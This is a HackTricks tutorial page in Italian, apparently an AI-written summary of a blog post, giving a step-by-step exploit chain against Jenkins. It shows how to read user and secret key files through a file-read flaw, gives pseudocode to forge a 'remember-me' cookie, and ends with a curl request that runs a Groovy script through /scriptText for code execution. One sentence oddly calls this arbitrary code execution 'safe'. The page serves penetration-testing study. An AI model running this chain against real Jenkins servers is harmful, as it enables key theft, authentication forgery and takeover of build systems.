Jenkins Arbitrary File Read to RCE via "Remember Me"

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

In questo post del blog è possibile trovare un ottimo modo per trasformare una vulnerabilità di Local File Inclusion in Jenkins in RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

Questo è un riassunto creato dall'AI della parte del post in cui l'artefatto di un cookie arbitrario viene abusato per ottenere RCE abusando di una lettura di file locale fino a quando non ho tempo per creare un riassunto da solo:

Attack Prerequisites

  • Feature Requirement: "Remember me" deve essere abilitato (impostazione predefinita).
  • Access Levels: L'attaccante ha bisogno di permessi Overall/Read.
  • Secret Access: Capacità di leggere sia contenuti binari che testuali da file chiave.

Detailed Exploitation Process

Step 1: Data Collection

User Information Retrieval

  • Accedi alla configurazione utente e ai segreti da $JENKINS_HOME/users/*.xml per ciascun utente per raccogliere:
  • Username
  • User seed
  • Timestamp
  • Password hash

Secret Key Extraction

  • Estrai le chiavi crittografiche utilizzate per firmare il cookie:
  • Secret Key: $JENKINS_HOME/secret.key
  • Master Key: $JENKINS_HOME/secrets/master.key
  • MAC Key File: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Token Preparation

  • Calcola il Tempo di Scadenza del Token:
javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Aggiunge un'ora all'ora attuale
  • Concatena i Dati per il Token:
javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC Key Decryption

  • Decripta il File della Chiave MAC:
javascript
key = toAes128Key(masterKey)  // Converti la chiave master nel formato chiave AES128
decrypted = AES.decrypt(macFile, key)  // Decripta il file .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Signature Computation

  • Calcola HMAC SHA256:
javascript
mac = HmacSHA256(token, macKey) // Calcola HMAC utilizzando il token e la chiave MAC
tokenSignature = bytesToHexString(mac) // Converti la MAC in una stringa esadecimale

Cookie Encoding

  • Genera il Cookie Finale:
javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Codifica in Base64 i dati del cookie

Step 3: Code Execution

Session Authentication

  • Recupera i Token CSRF e di Sessione:
  • Fai una richiesta a /crumbIssuer/api/json per ottenere Jenkins-Crumb.
  • Cattura JSESSIONID dalla risposta, che sarà utilizzato insieme al cookie remember-me.

Command Execution Request

  • Invia una Richiesta POST con uno Script Groovy:
bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Lo script Groovy può essere utilizzato per eseguire comandi a livello di sistema o altre operazioni all'interno dell'ambiente Jenkins.

L'esempio di comando curl fornito dimostra come effettuare una richiesta a Jenkins con le intestazioni e i cookie necessari per eseguire codice arbitrario in modo sicuro.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks